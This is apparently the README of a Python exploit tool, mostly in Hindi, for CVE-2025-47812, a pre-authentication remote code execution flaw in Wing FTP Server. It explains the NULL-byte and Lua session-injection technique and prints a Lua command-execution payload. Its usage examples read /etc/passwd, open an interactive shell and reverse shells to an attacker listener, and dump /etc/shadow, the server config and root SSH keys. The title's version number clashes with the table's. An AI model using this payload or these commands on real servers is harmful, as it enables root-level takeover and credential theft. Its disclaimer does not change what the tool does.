
RCE for WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2025-47812 |
| प्रभावित | Wing FTP Server <= 7.4.3 |
| ठीक किया गया | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (गंभीर) |
| प्रमाणीकरण आवश्यक | नहीं (अनाम लॉगिन पर्याप्त) |
| प्राप्त विशेषाधिकार | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| खोजकर्ता | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
Wing FTP Server का वेब इंटरफ़ेस दो-चरणीय प्री-प्रमाणीकरण रिमोट कोड निष्पादन हमले के लिए संवेदनशील है।
Wing FTP बाइनरी में c_CheckUser() फ़ंक्शन आंतरिक रूप से strlen() का उपयोग करता है, जो पहले NULL बाइट (\x00) पर उपयोगकर्ता नाम स्ट्रिंग को काट देता है। इसका मतलब है कि anonymous%00<मनमाना_डेटा> जैसा उपयोगकर्ता नाम प्रमाणीकरण पास कर लेगा जब तक anonymous (या कोई मान्य उपयोगकर्ता) मौजूद है।
प्रमाणीकरण सफल होने के बाद, loginok.html पूर्ण, अशोधित POST पैरामीटर का उपयोग करके rawset(_SESSION, "username", username) कॉल करता है — जिसमें NULL बाइट के बाद का सब कुछ शामिल है। फिर सत्र को SessionModule.save() के माध्यम से एक Lua स्क्रिप्ट फ़ाइल में डिस्क पर क्रमबद्ध किया जाता है।
चूंकि क्रमबद्ध फ़ंक्शन स्ट्रिंग मानों को बिना किसी स्वच्छता के [[...]] Lua लॉन्ग स्ट्रिंग लिटरल में लपेटता है, उपयोगकर्ता नाम में ]] इंजेक्ट करने से स्ट्रिंग लिटरल जल्दी समाप्त हो जाता है, जिससे सत्र फ़ाइल में मनमाना Lua कोड जोड़ा जा सकता है।
पेलोड संरचना:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
अंत में -- Wing FTP द्वारा मान के बाद जोड़े जाने वाले ]] को टिप्पणी कर देता है।
सत्र फ़ाइल (जिसका नाम UID कुकी मान पर आधारित है) एक Lua स्क्रिप्ट है जो किसी भी प्रमाणित एंडपॉइंट तक पहुँचने पर loadfile() + f() के माध्यम से निष्पादित होती है। UID कुकी के साथ POST /dir.html भेजने से इंजेक्टेड Lua निष्पादित होता है और <?xml सामग्री से पहले रिस्पॉन्स बॉडी में कमांड आउटपुट लौटाता है।
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# एकल कमांड
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# IP द्वारा लक्ष्य (Wing FTP वर्चुअल-होस्ट रूटिंग का उपयोग करता है — --vhost के साथ होस्टनाम प्रदान करें)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# इंटरैक्टिव स्यूडो-शेल
python3 CVE-2025-47812.py http://ftp.target.com --shell
# रिवर्स शेल (nc लिसनर अलग से शुरू करें)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# बिल्ट-इन लिसनर के साथ रिवर्स शेल
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# संवेदनशील फ़ाइलें डंप करें (/etc/passwd, /etc/shadow, Wing.cfg, रूट SSH कुंजी)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# गैर-अनाम क्रेडेंशियल के साथ
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Wing FTP Server को संस्करण 7.4.4 या उसके बाद में अपग्रेड करें।
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए प्रदान किया गया है। इस एक्सप्लॉइट को उन सिस्टमों पर चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध और अनैतिक है। लेखक किसी भी दुरुपयोग के लिए कोई दायित्व नहीं लेता है।